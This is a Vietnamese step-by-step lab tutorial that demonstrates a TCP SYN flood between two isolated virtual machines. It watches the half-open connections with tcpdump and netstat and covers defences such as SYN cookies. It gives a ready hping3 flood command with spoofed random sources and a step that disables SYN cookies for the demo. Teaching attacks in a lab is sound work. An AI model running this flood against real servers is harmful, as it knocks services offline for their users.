Môi trường:
- Kali Linux (tấn công): 192.168.50.137
- Ubuntu 24.04 (nạn nhân): 192.168.50.136
- Cả 2 VM đặt mạng Host-Only trong VMware Settings
SYN Flood là gì?
Trước khi vào lab, cần hiểu TCP hoạt động thế nào. Mỗi kết nối TCP bình thường cần 3 bước gọi là Three-Way Handshake:
- Client gửi SYN — "Tôi muốn kết nối"
- Server trả SYN-ACK — "OK, tôi sẵn sàng"
- Client gửi ACK — "Được, bắt đầu thôi"
Trong tấn công SYN Flood, kẻ tấn công gửi hàng nghìn gói SYN mỗi giây với IP nguồn giả mạo (random). Server nhận SYN, gửi SYN-ACK về IP giả đó, rồi chờ ACK — nhưng ACK không bao giờ đến vì IP đó không có thật. Server phải giữ mỗi kết nối "nửa mở" này trong bộ nhớ cho đến khi timeout. Hàng nghìn kết nối nửa mở như vậy lấp đầy bảng kết nối, khiến server không thể tiếp nhận người dùng thật nữa — server tê liệt.
Vấn đề không phải CPU bị quá tải mà là bảng kết nối (có giới hạn cố định) bị cạn kiệt hoàn toàn.
Bước 1 — Chuẩn bị Ubuntu (máy nạn nhân)
Mở terminal trên Ubuntu, cài công cụ cần thiết:
sudo apt update && sudo apt install tcpdump net-tools -y
Nhập password osboxes.org khi được hỏi. Đợi cài xong khoảng 1-2 phút.
Kiểm tra cài thành công chưa:
tcpdump --version
netstat --version
Nếu thấy thông tin phiên bản hiện ra là ổn. Nếu thấy "command not found" thì chạy lại lệnh apt install.
Tiếp theo, tìm tên interface mạng của Ubuntu:
ip link show
Bạn sẽ thấy danh sách interface. Trong VMware thường có tên là ens33 (khác với WSL là eth0). Ghi lại tên này vì sẽ dùng trong lệnh tcpdump.
Bước 2 — Kiểm tra Kali (máy tấn công)
Mở terminal trên Kali, kiểm tra hping3 có sẵn chưa (Kali cài sẵn rồi):
hping3 --version
Nếu thấy thông tin phiên bản là ổn. Nếu không có thì cài:
sudo apt update && sudo apt install hping3 -y
Ping thử sang Ubuntu để chắc chắn hai máy liên lạc được với nhau:
ping -c 4 192.168.50.136
Phải thấy 4 dòng reply như vầy mới tiếp tục:
64 bytes from 192.168.50.136: icmp_seq=1 ttl=64 time=0.52 ms
64 bytes from 192.168.50.136: icmp_seq=2 ttl=64 time=0.48 ms
64 bytes from 192.168.50.136: icmp_seq=3 ttl=64 time=0.51 ms
64 bytes from 192.168.50.136: icmp_seq=4 ttl=64 time=0.49 ms
Nếu ping thất bại, vào VMware Settings của cả 2 VM, kiểm tra Network Adapter đều đang để Host-only.
Bước 3 — Bật Monitoring trên Ubuntu TRƯỚC khi tấn công
Quan trọng: phải bật monitoring trước để thấy cuộc tấn công từ đầu.
Terminal Ubuntu thứ nhất — bắt và hiển thị các gói SYN đến:
sudo tcpdump -i ens33 'tcp[tcpflags] & tcp-syn != 0' -n
Giải thích lệnh:
- -i ens33 : lắng nghe trên interface ens33
- tcp-syn != 0 : chỉ hiển thị packet có cờ SYN được bật
- -n : không dịch IP sang hostname, giữ output gọn và nhanh
Terminal sẽ có vẻ đứng yên không hiện gì — đây là bình thường, nó đang chờ traffic đến.
Terminal Ubuntu thứ hai — mở thêm một cửa sổ terminal nữa và chạy:
watch -n 1 'netstat -an | grep SYN_RECV | wc -l'
Lệnh này đếm số kết nối đang ở trạng thái SYN_RECV (kết nối nửa mở, đang chờ ACK không bao giờ đến) và cập nhật mỗi giây. Trong lúc tấn công, con số này sẽ tăng lên nhanh chóng.
Bước 4 — Phát động tấn công SYN Flood
Chuyển sang terminal Kali, chạy lệnh:
sudo hping3 -S --flood --rand-source -p 80 192.168.50.136
Giải thích từng flag:
- -S : đặt cờ SYN trên mỗi packet — đây là thứ tạo ra SYN flood
- --flood : gửi packet nhanh nhất có thể, hàng nghìn gói mỗi giây, không nghỉ
- --rand-source : ngẫu nhiên hóa IP nguồn trên mỗi packet. Đây là trick chính — mỗi gói SYN trông như đến từ một IP khác nhau trên thế giới, khiến server không thể chặn theo IP nguồn
- -p 80 : nhắm vào cổng 80 (cổng web server)
- 192.168.50.136 : IP của Ubuntu
Sau khi nhấn Enter, terminal Kali sẽ có vẻ bị đứng im — hoàn toàn bình thường. hping3 đang bận gửi packet hết công suất và không có thời gian in output.
Chuyển ngay sang Ubuntu để quan sát. Terminal tcpdump sẽ cuộn rất nhanh với hàng nghìn dòng như:
14:22:01.000 IP 45.123.67.89.4321 > 192.168.50.136.80: Flags [S]
14:22:01.000 IP 201.56.78.90.9876 > 192.168.50.136.80: Flags [S]
14:22:01.000 IP 18.234.90.12.5544 > 192.168.50.136.80: Flags [S]
14:22:01.000 IP 99.45.23.100.1122 > 192.168.50.136.80: Flags [S]
Chú ý: mỗi dòng có IP nguồn hoàn toàn khác nhau và ngẫu nhiên, nhưng IP đích luôn là 192.168.50.136. Chữ Flags [S] xác nhận mỗi packet chỉ có cờ SYN — không có ACK, không có gì khác.
Nhìn sang terminal thứ hai đang đếm SYN_RECV — con số sẽ tăng lên nhanh chóng, cho thấy bảng kết nối của Ubuntu đang bị lấp đầy bởi các kết nối nửa mở giả.
Bước 5 — Dừng tấn công và quan sát phục hồi
Trên terminal Kali nhấn Ctrl + C. hping3 sẽ dừng ngay và in tóm tắt:
--- 192.168.50.136 hping statistic ---
842301 packets transmitted, 0 packets received, 100% packet loss
Con số packets transmitted lớn cho thấy flood đã hiệu quả thế nào. Số 0 packets received là bình thường vì IP nguồn là giả, không ai reply về cho Kali cả.
Nhấn Ctrl + C trong terminal tcpdump của Ubuntu để dừng monitoring.
Bây giờ nhìn vào terminal đang đếm SYN_RECV — con số sẽ không về 0 ngay. Linux phải đợi từng kết nối giả timeout mới xóa khỏi bảng, thường mất 60 đến 120 giây. Đây là điểm quan trọng cần trình bày: tác hại của SYN flood tiếp tục ngay cả sau khi tấn công đã dừng hoàn toàn, vì server vẫn đang bị chiếm dụng bởi hàng nghìn kết nối ma chờ timeout.
Biện pháp phòng thủ
- SYN Cookies: Server không lưu kết nối nửa mở vào bảng. Thay vào đó mã hóa thông tin vào sequence number, chỉ tạo entry thật khi nhận được ACK hợp lệ. Đây là biện pháp hiệu quả nhất và được bật mặc định trên Linux hiện đại.
- Rate Limiting: Firewall chặn IP gửi quá nhiều SYN mỗi giây. Hạn chế: không hiệu quả khi dùng --rand-source vì mỗi gói có IP khác nhau.
- Tăng kích thước hàng đợi: Tăng số lượng kết nối nửa mở tối đa mà server chấp nhận. Hạn chế: chỉ trì hoãn vấn đề, flood đủ mạnh vẫn lấp đầy.
- Dịch vụ bảo vệ DDoS: Cloudflare và các dịch vụ tương tự hấp thụ flood trước khi traffic đến server thật.
Xử lý sự cố
| tcpdump không hiện gì trong lúc tấn công | Sai tên interface — chạy ip link show trên Ubuntu để tìm tên đúng thay cho ens33 |
| Ping từ Kali sang Ubuntu thất bại | Vào VMware Settings, kiểm tra cả 2 VM đều đang dùng Host-only |
| hping3 không tìm thấy trên Kali | Chạy: sudo apt install hping3 -y |
| SYN_RECV luôn bằng 0 | Có thể SYN Cookies đang bật — xem ghi chú bên dưới |
sudo sysctl -w net.ipv4.tcp_syncookies=0
Sau khi demo xong, bật lại:
sudo sysctl -w net.ipv4.tcp_syncookies=1
Chỉ dùng cho mục đích học tập. Tấn công vào hệ thống không thuộc quyền sở hữu của bạn là vi phạm pháp luật.